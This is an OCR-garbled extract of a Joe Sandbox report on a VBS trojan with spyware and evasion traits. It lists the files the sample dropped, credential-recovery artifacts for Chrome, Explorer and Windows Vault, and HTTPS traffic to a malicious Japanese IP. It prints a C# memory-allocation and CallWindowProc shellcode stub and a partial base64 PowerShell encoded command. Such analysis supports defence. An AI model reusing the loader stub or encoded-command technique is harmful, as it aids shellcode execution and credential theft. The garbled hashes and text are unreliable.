powershell.exe, 0000000D.00000002.102423
8823.0000000005D81000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000002.102182
0961.0000000004E66000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000002.101887
0776.0000000004D21000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000003.871107
891.0000000007AC6000.00000004.00000001.sdmp,
powershell.exe, 0000000D.00000002.1021820961.
0000000004E66000.00000004.00000001.sdmp

e Avira URL Cloud: safe

e Avira URL Cloud: malware

Malicious

false

false

false

false

false

false

true

false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

Link

Reputation

unknown

unknown

Reputation

low

unknown

Reputation

high

unknown

unknown

high

unknown

high

unknown

unknown

high

unknown

unknown

high

high

high
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https://www.virustotal.com/gui/url/d3d3efde0c31dda60b24ed88c1efebefcbcbe86ea1cb7ec91fe545addcb49de1/detection/u-d3d3efde0c31dda60b24ed88c1efebefcbcbe86ea1cb7ec91fe545addcb49de1-1540647108

[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious
157.7.107.166 owanlab.com Japan L] 7506 INTERQGMOInternetincJP  true
General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 557838

Start date: 21.01.2022

Start time: 17:22:23

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 12m 30s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: New _Inquiry P.O4622.vbs

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 24

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winVBS@14/16 @4/1

EGA Information: e Successful, ratio: 100%

HDC Information: e Successful, ratio: 61.5% (good quality ratio 53.5%)

e Quality average: 71.8%
e Quality standard deviation: 33.4%

Copyright Joe Security LLC 2022 Page 13 of 38



Successful, ratio: 100%
e Number of executed functions: 0
Number of non-executed functions: 0

HCA Information:

.

.

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .vbs

Override analysis time to 240s for JS/VBS files not yet terminated

e o o o

Warnings

e Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe

e Excluded IPs from analysis (whitelisted): 23.211.6.115

Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, store-images.s-microsoft.com-c.edgekey.net, disp
laycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

3

e o o o o

Simulations

Behavior and APIs

Time Type Description

17:24:53 API Interceptor 34x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

©@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8003

Entropy (8bit): 4.842774286652891

Encrypted: false
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SSDEEP:
MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

192:Jx0e5FVsm5emdgdVFn3eGOVpN6K3bkkjo5igkjDt4iWN3yBGHc9smgdcU6CupOO0P:1EdVoGIpN6KQkj2Zkjh4iUxepib4J
62F0B7274EE33977F05FE8727590EBA4

3D7D56215FAF3COF11BBF6A16ABBO9DF83E96BAT
A59280899B286228ABA87CAC2EED2C3FEA4966BF427899BIBIAEFA6ADOFD3EO0

001B11A26D8AF5D8FEE3B259D5E10EAA22801662C539BA70B7EBAOA330CIDD1B4FOCFB3B05BOB63CDAL03B771506CF7A35A581DF7986E872A187E2E280D549
3C

false

C:\Users\user\AppData\Local\Temp\DB1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\cmd.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

40960

0.792852251086831

false
48:2i3nBA+I1Y1PJzrOURCVE9V8MXODOHSFINUfAIGUGYFONSs8LKVUfIKVYJ7hU:pBCJIyC2V8MZyFIBAIG4o0NFeymw
81DB1710BB13DA3343FCODFIF00BE49F

9B1F17E936D28684FFDFA962340C8872512270BB
9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0OFACABB
CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

false

SQLite format 3.

C:\Users\user\AppData\Local\Temp\RES6913.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols
dropped

1328

3.98024017301909

false
24:Hae9EuZfbzcMKXDfHAhKEbsmfll+ycuZhNtakSLPNng9qd:HBbKzCKPmg1lulta3hq9K
BFDD9E2B1632900B411789E17F45AFCO
4B4C44677E88D01CD665B46FEOA443ADA70D4A1B
91B065117FCC975664E18D84FA5060DA011070E95FCDFD373616BF07BF69534A

BC1B4D84AE39001C2CFF5E8EA75406D0587E9B92534D4B95803E523CB775F0A8A257C8DBD481BF1C6B2259A52D7A8F9D884BFBC04FF857B0BODA46F04945F9!
6

false
Lo debug$s........ | ISR @..B.rsrc$01..... X (O @..@.rsrc$02.......P..ococ @..@........ S....c:\Users\user\AppData\Local\Temp\vsdk
e30k\CSC2B92EBAA3FFD4AC6819286896BCEF79.TMP... .D.L.2.\5 4. C:\Users\user\AppData\Local\Temp\RES6913.tmp.-.<...........coce. '...Microsoft

(R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe D H...
cnHoL4LVS._V.ERSION_LNF.O e D D...V.arF.ilelnfo...$..Trans.latio.n S.tring.F.ilelnfo.....0.
.0.0.0.4.b.0...,....FileD.es.c.r.iptio.n.....0..FileV.eurs.ion...0..0..0..0.<..lnternalNam.e..vsdke3.0k..d.Ll..(..Leg.alC.op.y.right...D.
..0.rig.i.n.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_&4vmckcl5.kyp.ps1

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
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SHA-256:

SHA-512:

Malicious:

Preview:

6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES2DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FOBD058A12A280433ED6FA4651
0A

false

1

C:\Users\user\AppData\Local\Temp\_PSScriptPolicyTest_rzqlzjeu.xur.psm1

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FO9BD058A12A280433EDG6FA4651
0A

false

1

C:\Users\user\AppData\Local\Temp\blueb.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\wscript.exe

data

dropped

26116

7.487801276822169

false
384:iBqonGig9g6qDNgSyo765HM3cbJIxDA3qI2fwdWmAVUWNCAMOTeVgR8ASfe7:6qonGiIONQYNrM3H|jGcC4M0OTn9S27
48A7D9C78DF69306AE414BEA7C1D51DE

02A7398B82BBB72C6F1B5D36ACE44951E9CC67E2
4D8F190A415AED861321D29E69D174EFFBDED24DE4841A0F9F534161B1D5B23E

9AD31CAES5C95191D5E46572D554AA57DEAL1DED2C26F3285ADA315FEDDCCD369ADC0D2B5254505BD207E8CD9BIFE21287329149FD3C3F6BD535A93223D83¢
3F

false

W?.m.0?...d..$.M?2..P.J.L..p]...efw.@..._;. V... * k=..w}3u...".....*ga.f B}p.f........... F....F.nD..E.E.EA._..En_.1.w..1[.f.E.. a]lf?2.D...y..b%E
F..pf.PE.(e....EndaD._..-.v.5 ..2m...+V9....E.STE.AYl...c...@QE.("ml....$W..pQE.(.....Y..E.(....$.....E.../.E.{E.f_a.Q... _a.W?r. wa.r,+. oa....(....&KwfV....... %fV;...L.
ZR.E.(......-fW....." [Efgc.1+M.R..E........... EY.\. .50...J. ..L.yG.s.{?--u0.f.2.7....4}..i..i...1..82.]%...Y ..0...+ .a..DH.Z....;%Si.A...i. /as.d.f.2...-..Z...f 7aNz6.f.?......CQB.s.{W/.r..
E.lk...>fS.OTf... k*... t.Ede#.%. E.UEHi.s..7..1.9.°S.. 7a.M....UE.....5/...p.8Y#V.U....X .. .DO.E.l...-..F..b.E*VY]W(.l

C:\Users\user\AppData\Local\Temp\vsdke30k\CSC2B92EBAA3FFD4AC6819286896BCEF79.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

MSVC .res

dropped

652

3.0990400422881264

false
12:DXt4li3ntuAHia5YA49aUGigMZAIN5gryuGak7YnggjXPN5DIg5J:+RI+ycuZhNtakSLPNngX
18A144F72111B43209E45CEC83813594
8529F0E27AACES569657DC629ECCAF6719DE94C07
53FD0712E0F35630F3908CF9F742B9D9608244291233D270E94708C4FE3E664D

5B1A3363E18215F14ED6E191D72B4DCCO6E4E968680CFOEAFO9B946ECB3FED1AGEEFAF31AAFCE336358C33794AFCE9945348976F0AEASFDF3928DAFBEBGEL
DCF

vee0iii L4 V.S._V.E.R.S.LO.N._.LLN.F.O e 2 DV Filedinfo S Trans Lation...
S.trin.g.F.ilelnfo......0.0.0.0.04.b.0...,...F.ileD.es.crip.tion.....0..F.ileV.ers.io.n...0..0..0..0..<..LnternalNam.e..vs.dke.3.0k..d.ll
.LegalcCo.pyright. ..D..OriginalF.ilenam.e..vs.dke30k..dll..4..Produ.c.tV.ers.io.n.0..0..0..0.8..Ass.em.b.ly. Vers.io.n.0..
0...0...0...
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C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.0.cs

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

681

5.027145180451516

false
12:V/IDGrAtvLE6h5sfmK1YVIKMv1IMZIFTW91VIfaVhckwQiP2/hA:JoAtvLP7+plcvMZIfeiaV5+WhA
26B2BF42ECC76A6F1D41418840A657A2

078EF1CE837AD72087C27B59A22376D787047A96
389198803DCD1407F3597E008CDC8485ACA479215D8097646A339B133FCF3AD2
6C45E6734EF47C372E95EB1B525E0574A056D658C6339B474A5B42E97B2710D6764DDBF70C359B7B59CFE177C4666F10E170C163A258D5AD6C7D50AFIB764E4
false

.using System;..using System.Runtime.InteropServices;..public static class brnecykl1..{..[Dllimport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int brne
cykl6,ref Int32 restbelb,int Dybb6,ref Int32 brnecykl,int applie,int brnecykl7);..[Dllimport("kernel32.dII")]public static extern IntPtr CreateFileA(string imman,uint Hyp
ogynyb,int Discipl3,int brnecykl0,int Petuniern,int Grungesmit,int Demoral5);..[Dllimport("kernel32.dIl")]public static extern int ReadFile(int Dybb60,uint Dybb61,IntPtr
Dybb62,ref Int32 Dybb63,int Dybb64);..[Dllimport(*user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Dybb65,int Dybb66,int Dybb67,int Dybb68,int Dybb69);..}

C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.cmdline

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

dropped

369

5.240356084391851

false
6:pAu+H2LvkuqJDdgxLTKbDdgB/6K2wkn23fjWa8y0zxs7+AEszIwkn23fjWa8cyWH:p37Lvkmb6KRfbP8yOWZEifbP80On
51DF0857D968DF204310E4777FDF3159

84236320A03CF97CCABBB1C6053B603DODEAG5DD
BBCBA23E88C811284F654076AAFB6105E2ECF3C756COE6A732329F72DIDCEAB4

C335681367E6D3065CE0BOB702DDB3049FBB66F46B2BB3B695038D37B920EDFD7ADA7ADE3AFG99E180329ABABAE7AS57AF92FC6567439097255BE852CE33493!
D

false

Jtlibrary /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.dll" /debug- /optimize+ /warnaserror /optimize+ “C
\Users\usen\AppData\Local\Temp\vsdke30k\vsdke30k.0.cs"

C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.dlL

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
dropped

3584

3.0712816785532304

false

48:6HPUCcTbvyFoOLVItSmdM|TIEF6VA9JFP 1ulta3hg:OUcfyFPDtAK|BZelfK
BDA18B4892E1DA08703BA5101439343B
DECAFD57BA69B4FB3E2AA15AC395D2FDF58AA84F
6CC3EEC7D8CB1410078F56DE9DB91033B742814AAAA9521FCFB3DCY0ABD65CA1
846B1790D13F62D2453DF6B6CDA08621C18B95731766FC5274C520F42BA3FA765B5978C609905CEAAF814E67FDA34C49408A14178A45A8AA6DB401B07BDA9DE

false

C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.out

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

867

5.311011657516807

Copyright Joe Security LLC 2022 Page 17 of 38



Encrypted: false

SSDEEP: 24:KJBqd3kabKRfbP8gEifbP80uKaM5DgBVKVrdFAMBJTH:Cika6CbEgEUbEOUKXDcVKdABJj

MDS5: 9640C878124A63FDBE8D135230C94C61

SHAL: E659918B7CF1FDC88B8B3FEF3DBCB6F485247E1C

SHA-256: 85C191A1DDAA2B4B7C8E00CA24B49D723FC5E05FCAD10B87EA06676A29437885

SHA-512: 32BAFDBAOCBA32CCF4FA509F66B5C8626F89B2AD69E929E437C26ED5BCAIC61FADD7035C916DE4D5B0212F2D80DAC1EI80CF3E373F9307C85BB454389ECEF
BB4

Malicious: false

Preview: .C:\Users\user\Desktop> "C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dIl" /R:"C:\Windows\Microsoft.Net\assembly\GAC

_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dIl" /out:"C:\Users\user\AppData\L
ocal\Temp\vsdke30k\vsdke30k.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.0.cs"......Microsoft (R) Visual C#
Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Framework,
but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see
http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\LQM-8D39\LQMlogim.jpeg

Process: C:\Windows\SysWOW64\svchost.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category: dropped

Size (bytes): 106730

Entropy (8bit): 7.9318918618379985

Encrypted: false

SSDEEP: 3072:4zj6MFNf+34PyryGJpWBclfyynBqg31jbKNsjVpKhJ:aHSgyZJIBc2qFfBWJ

MD5: 3C02A26067DA20379BOE2AEOB4BAG469

SHA1L: 36B6AF7BFI0D17AC8AC58F15976597BCD8C7DAFE

SHA-256: E44C68A24DC1FCDODB828F999D5AF664A5CA5BB5C50B7E865AA1BCEOC60COABE

SHA-512: 252165D8EFF73C22DB813456495B001E23FBDBD323F7DF92843CCCA59007F94243F621D94C1040D67CD2F8C208AA609B3CB2873BCC78F3EBE784AA958204A3E
Malicious: false

Preview: ... JFIF.0 C $.' " #..(7),01444.9=82<.342...C........... 21.122222222222222222222222222222222222222222222222222........... T

&'()*56789:CDEFGHIISTUVWXY Zcdefghijstuvwxyz..
e 2.01KK G\ xeS ML #HMLLLL T <Lwg5. VL 2S LrH - UL S <> HLLLW WL CK/LLLL.CLU WL LU ROWLMLLEZ S
n..A.2.2..0(2..7.~9$f.1\q[....0S:.g0Y"....f-%.P.b.Z....<Z5..... lw..ve2)v<a, T S..U.....g.W.....)ky..N...

C:\Users\user\AppData\Roaming\LQM-8D39\LQMlogrg.ini

Process: C:\Windows\SysWOW64\svchost.exe
File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit):  2.7883088224543333

Encrypted: false

SSDEEP: 3:rFGQJNI:RGQPY

MD5: 4AADF49FED30E4C9B3FE4A3DD6445EBE

SHA1L: 1E332822167C6F351B99615EADA2C30A538FF037

SHA-256: 75034BEB7BDED9AEAB5748F4592B9E1419256 CAEC474065D43E531EC5CC21C56

SHA-512: EB5B3908D5E7B43BA02165E092F05578F45F15A148B4C3769036AA542C23A0F7CD2BC2770CF4119A7E437DE3F681D9E398511F69F66824C516D9B451BBI5F945
Malicious: false

Preview: ....C.hrome. .Rec.ove.ry...

C:\Users\user\AppData\Roaming\LQM-8D39\LQMlogri.ini €

Process: C:\Windows\SysWOW64\svchost.exe
File Type: data

Category: dropped

Size (bytes): 40

Entropy (8bit):  2.8420918598895937

Encrypted: false

SSDEEP: 3:+sIXIAGQJINIIGQPY

MD5: D63A82E5D81E02E399090AF26DB0OBICB

SHAL: 91D0014C8F54743BBA141FD60CI9D963F869D76C9

SHA-256: EAECE2EBA6310253249603033C744DD5914089B0BB26BDE6685EC9813611BAAE

SHA-512: 38AFB05016D8F3C69D246321573997AAAC8A51C34E61749A02BF5E8B2B56B94D9544D65801511044E1495906A86DC2100F2E20FF4FCBEDO9E01904CC780FDBAI
Malicious: true
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Preview: ....l.ex.p.l.or. .R.e.cov.ery...

C:\Users\user\AppData\Roaming\LQM-8D39\LQMlogrv.ini @

Process: C:\Windows\SysWOW64\svchost.exe
File Type: data

Category: dropped

Size (bytes): 210

Entropy (8bit):  3.512882731079781

Encrypted: false

SSDEEP: 6:tGQPYIIaEXGNIGcQga30f9y96GO4Q0O8nE0Y:MIIaEXGNYVOI6x418ZY

MDS5: 846F972FD75626BAFB8D6D54052E3FD8

SHAL: 1BAA6F1F1E0359510E9BEFF5087A8FD428215426

SHA-256: CE5EB7E190A20D0F33DCA3FC01920B762123D9F61A670B89656521221F9CEAES

SHA-512: 966CB9B22108050CFE053E232DE6A237AA4CB379B91CF44B8159F4C8278AECE70E094D8CBB31B4CFC81C74383C85B57F81AA47CI9E40DB2F1D3F355DE622510
D2

Malicious: true

Preview: _V.ault .Re.cov.ery.....Nam.e...Micros.o.ftAc.count:targ.et=5S.0._.P.O.P._D.e.w.c.e...ld.:.0.2hgp.ndjhjjafvok..Aut:....Pas.

C:\Users\user\Documents\20220121\PowerShell_transcript.376483.GIXAcc5B.20220121172432.txt

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 11854

Entropy (8bit):  5.119712834288783

Encrypted: false

SSDEEP: 192:vWYkmDve5krtxgh13QJvQA+Kgbmy66INEfhFEWYYIFXF1lo+y7+YyyZIRWxnz9alx:vWYkmLe5glh50QF9IbX66IGhF5WY YIFxa

MD5: E53E4FC4A0B02ABA5429572911B4383F

SHA1L: 987EE9FDC18012BCA09A2E6C61FAAB0286C77AFC

SHA-256: O0DA9EFBB989C58B78C28E6A93C2935E298BAF17E78BDC18E84FFCA052AFECDFB

SHA-512: 2DA7F7A90C1D4BBDDED681144B8B9F6F22A61D82779CD01E743BAD7DE6023175D67E52A92E3D4D2BA529AB8902B93E8C671558A856B2819482C49DFE3D58A1
DA

Malicious: false

Preview: emkkksassk \Windows PowerShell transcript start..Start time: 20220121172445..Username: computer\user..RunAs User: computer\user..Configuration Name:

..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\SyswWOW64\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand |
WBMAEEAQWBUAEKARgBFAFIATWAgAGIAcgBIAGCAbWAGAESAbgBVAGIAZQBOAHMAZgBYAGKAOQAGAEJAZQBzAHQAMWAGAECACgB1IAGUACWBVAGO
ANAAgAECAZQBUAGUACYBhAGWAaQBzACAAQQBGAEOARQBKACAAYYBIAGEAdgBIAHIAIABCAEKAQYBMAEKATWBHAFIAIABEAGQADQBhAG4AZABZA
GsAbgA1ACAAbgB1AGWAbABPAGAAIABSAGAACABVAHQACWB5AHMAAABIACAAVABOAHIAZQBhAHAAZQBKAGEAZgAGAEBAdQBOAHCACYBIAHMAIAB
HAFQARQBWAEKAVgAgAFUAbgBzAGgAY QBJAGSAbABPADGAIABJAG8ACcgBYAGUAIABMAEEAUgBNAEUATGBTAEYAIABEAGKAcCWBOAGKAbgBNAHYAO
AAgAGQAaQBzAGUAbQBIAGBAIABIAFKAUABFACAAVQBUAGYAaQBsADKAIABWAEEATGBEAEIAUgGBOAEQAQQAGAECAZQBUAGAAZQAGAEIAZQBIAGU
AcwBOAHIAZQAOACAAaQBUAGQACABhACAAQYBPAHQACWBSAGWAZQAJAFQAZQBYAGAAY QBzAGGAZQAGAESAbwWBIAGEACgBKACAADQAKAAODACYANA

A0AQQBKAGQAL
Static File Info
General
File type: ASCII text, with CRLF line terminators

Entropy (8bit):  5.035989077218127

TriD: e Visual Basic Script (13500/0) 100.00%

File name: New _Inquiry P.O4622.vbs

File size: 79866

MDS5: 24e935f7534a81a7fd4e32daeab208a5

SHAL: 251ac05ebc8c963418dccdddal27d2a81b5097db

SHA256: 5e608684c3f71caba76d22d1ddc536f302738a3027d22a5b1ce1852c9c551d99

SHA512: 4bdOafc25dal40efadb8f49350df7dca32¢781a520¢85f217d77db6602e51a7731ef955b7d412f5a3edaalc70cffe47b9b44eda88c3378052d101ale071f4ede
SSDEEP: 1536:8KOb1Jgxa/spd61vkvi8+Zeiol 7azKUkgnpnrwlYcfJHSzv8j6aiownmOTr7uAY:8zZWPWav0+Z4azKOnpnMOfJovta37G5Y

File Content ‘Emdav PINPRICKSB Villeines FORYV fallese OVERORGANI QUINCEWO Sarment7 Hrgerund Stade7 Udsp PANTEHFTEL Monetaryk pomfrit fagomr AUTOMATP Bush
Preview: maki9 ADMIN Galvanosk5 Jordndbo Bonspell5 rykk SLADREVOR unlacque Havekolo4 Scenefunk ferricya unreporta ..'ACTIVAT

Filelcon
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5

Icon Hash: e8d69ece869a9ecd

Network Behavior

Network Port Distribution

Total Packets: 45

® 53 (DNS)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 21, 2022 17:25:52.686738014 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:52.686788082 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:52.686875105 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:52.713493109 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:52.713521957 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:53.296502113 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:53.296688080 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:53.626610041 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:53.626642942 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:53.626908064 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:53.626969099 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:53.631772041 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:53.673881054 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:53.937971115 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:53.938112020 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:54.222706079 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:54.222719908 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:54.222790956 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:54.222822905 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:54.222841024 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:54.222897053 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:54.222903967 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:54.222942114 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:54.222945929 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:54.222982883 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:54.223015070 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:54.507931948 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:54.507980108 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:54.508058071 CET 443 49823 157.7.107.166 192.168.2.4
Jan 21, 2022 17:25:54.508186102 CET 49823 443 192.168.2.4 157.7.107.166
Jan 21, 2022 17:25:54.508234024 CET 443 49823 157.7.107.166 192.168.2.4
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Timestamp

Jan 21, 2022 17:25:54.508263111 CET
Jan 21, 2022 17:25:54.508322954 CET
Jan 21, 2022 17:25:54.508337975 CET
Jan 21, 2022 17:25:54.508356094 CET
Jan 21, 2022 17:25:54.508395910 CET
Jan 21, 2022 17:25:54.508424997 CET
Jan 21, 2022 17:25:54.508438110 CET
Jan 21, 2022 17:25:54.508512974 CET
Jan 21, 2022 17:25:54.508522034 CET
Jan 21, 2022 17:25:54.508930922 CET
Jan 21, 2022 17:25:54.508960009 CET
Jan 21, 2022 17:25:54.509063005 CET
Jan 21, 2022 17:25:54.509079933 CET
Jan 21, 2022 17:25:54.509130955 CET
Jan 21, 2022 17:25:54.792568922 CET
Jan 21, 2022 17:25:54.792579889 CET
Jan 21, 2022 17:25:54.792624950 CET
Jan 21, 2022 17:25:54.792663097 CET
Jan 21, 2022 17:25:54.792680025 CET
Jan 21, 2022 17:25:54.792690992 CET
Jan 21, 2022 17:25:54.792733908 CET
Jan 21, 2022 17:25:54.792963028 CET
Jan 21, 2022 17:25:54.792984009 CET
Jan 21, 2022 17:25:54.793041945 CET
Jan 21, 2022 17:25:54.793054104 CET
Jan 21, 2022 17:25:54.793081045 CET
Jan 21, 2022 17:25:54.793118000 CET
Jan 21, 2022 17:25:54.793378115 CET
Jan 21, 2022 17:25:54.793399096 CET
Jan 21, 2022 17:25:54.793452978 CET
Jan 21, 2022 17:25:54.793467045 CET
Jan 21, 2022 17:25:54.793488979 CET
Jan 21, 2022 17:25:54.793515921 CET
Jan 21, 2022 17:25:54.793878078 CET
Jan 21, 2022 17:25:54.793899059 CET
Jan 21, 2022 17:25:54.793967009 CET
Jan 21, 2022 17:25:54.793981075 CET
